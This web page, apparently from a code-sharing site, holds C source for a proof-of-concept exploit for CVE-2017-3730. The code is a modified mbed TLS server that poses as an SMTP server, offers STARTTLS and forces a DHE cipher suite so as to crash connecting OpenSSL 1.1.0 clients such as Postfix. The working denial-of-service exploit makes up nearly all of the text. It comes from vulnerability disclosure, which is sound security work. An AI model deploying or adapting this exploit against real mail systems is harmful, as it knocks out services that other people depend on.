扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 |
// Source: https://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/ /* *SSL server demonstration program * *Copyright (C) 2006-2015, ARM Limited, All Rights Reserved *SPDX-License-Identifier: Apache-2.0 * *Licensed under the Apache License, Version 2.0 (the "License"); you may *not use this file except in compliance with the License. *You may obtain a copy of the License at * *http://www.apache.org/licenses/LICENSE-2.0 * *Unless required by applicable law or agreed to in writing, software *distributed under the License is distributed on an "AS IS" BASIS, WITHOUT *WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *See the License for the specific language governing permissions and *limitations under the License. * *This file is part of mbed TLS (https://tls.mbed.org) */ /* Taken from mbed TLS programs/ssl/ssl_server.c and modified to crash postfix. * Belongs to https://github.com/guidovranken/CVE-2017-3730 */ #include <stdlib.h> #include <string.h> #include "mbedtls/entropy.h" #include "mbedtls/ctr_drbg.h" #include "mbedtls/certs.h" #include "mbedtls/x509.h" #include "mbedtls/ssl.h" #include "mbedtls/net_sockets.h" #include "mbedtls/error.h" #include "mbedtls/debug.h" static int write_and_get_response( mbedtls_net_context *sock_fd, char *buf, size_t len ) { int ret; if ( (ret = mbedtls_net_send( sock_fd, (unsigned char*)buf, strlen(buf) )) <= 0 ) { return -1; } memset( buf, 0, len ); ret = mbedtls_net_recv( sock_fd, (unsigned char*)buf, len ); return ret; } int main( void ) { int ret; mbedtls_net_context listen_fd, client_fd; char buf[1024]; const char *pers = "ssl_server"; int force_ciphersuite[2]; mbedtls_entropy_context entropy; mbedtls_ctr_drbg_context ctr_drbg; mbedtls_ssl_context ssl; mbedtls_ssl_config conf; mbedtls_x509_crt srvcert; mbedtls_pk_context pkey; mbedtls_net_init( &listen_fd ); mbedtls_net_init( &client_fd ); mbedtls_ssl_init( &ssl ); mbedtls_ssl_config_init( &conf ); mbedtls_x509_crt_init( &srvcert ); mbedtls_pk_init( &pkey ); mbedtls_entropy_init( &entropy ); mbedtls_ctr_drbg_init( &ctr_drbg ); ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_srv_crt, mbedtls_test_srv_crt_len ); if( ret != 0 ) { goto exit; } ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_cas_pem, mbedtls_test_cas_pem_len ); if( ret != 0 ) { goto exit; } ret =mbedtls_pk_parse_key( &pkey, (const unsigned char *) mbedtls_test_srv_key, mbedtls_test_srv_key_len, NULL, 0 ); if( ret != 0 ) { goto exit; } if( ( ret = mbedtls_net_bind( &listen_fd, NULL, "8888", MBEDTLS_NET_PROTO_TCP ) ) != 0 ) { goto exit; } if( ( ret = mbedtls_ctr_drbg_seed( &ctr_drbg, mbedtls_entropy_func, &entropy, (const unsigned char *) pers, strlen( pers ) ) ) != 0 ) { goto exit; } if( ( ret = mbedtls_ssl_config_defaults( &conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 ) { goto exit; } mbedtls_ssl_conf_rng( &conf, mbedtls_ctr_drbg_random, &ctr_drbg ); mbedtls_ssl_conf_ca_chain( &conf, srvcert.next, NULL ); if( ( ret = mbedtls_ssl_conf_own_cert( &conf, &srvcert, &pkey ) ) != 0 ) { goto exit; } force_ciphersuite[0] = mbedtls_ssl_get_ciphersuite_id( "TLS-DHE-RSA-WITH-AES-256-GCM-SHA384" ); force_ciphersuite[1] = 0; mbedtls_ssl_conf_ciphersuites( &conf, force_ciphersuite ); if( ( ret = mbedtls_ssl_setup( &ssl, &conf ) ) != 0 ) { goto exit; } reset: mbedtls_net_free( &client_fd ); mbedtls_ssl_session_reset( &ssl ); if( ( ret = mbedtls_net_accept( &listen_fd, &client_fd, NULL, 0, NULL ) ) != 0 ) { goto exit; } sprintf(buf, "220 ok\n"); ret = write_and_get_response( &client_fd, buf, sizeof(buf)); if ( ret < 5 ) { goto exit; } if ( strncmp(buf, "EHLO ", 5) != 0 ) { goto exit; } sprintf(buf, "250-SIZE 157286400\n250-8BITMIME\n250-STARTTLS\n250-ENHANCEDSTATUSCODES\n250-PIPELINING\n250-CHUNKING\n250 SMTPUTF8\n"); ret = write_and_get_response( &client_fd, buf, sizeof(buf)); if ( ret < 8 ) { goto exit; } if ( strncmp(buf, "STARTTLS", 8) != 0 ) { goto exit; } sprintf(buf, "220 ok\n"); ret = mbedtls_net_send( &client_fd, (unsigned char*)buf, strlen(buf) ); if ( ret < 0 ) { goto exit; } mbedtls_ssl_set_bio( &ssl, &client_fd, mbedtls_net_send, mbedtls_net_recv, NULL ); while( ( ret = mbedtls_ssl_handshake( &ssl ) ) != 0 ) { if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE ) { goto reset; } } while( ( ret = mbedtls_ssl_close_notify( &ssl ) ) < 0 ) { if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE ) { goto reset; } } ret = 0; goto reset; exit: mbedtls_net_free( &client_fd ); mbedtls_net_free( &listen_fd ); mbedtls_x509_crt_free( &srvcert ); mbedtls_pk_free( &pkey ); mbedtls_ssl_free( &ssl ); mbedtls_ssl_config_free( &conf ); mbedtls_ctr_drbg_free( &ctr_drbg ); mbedtls_entropy_free( &entropy ); return( ret ); } |
体验盒子
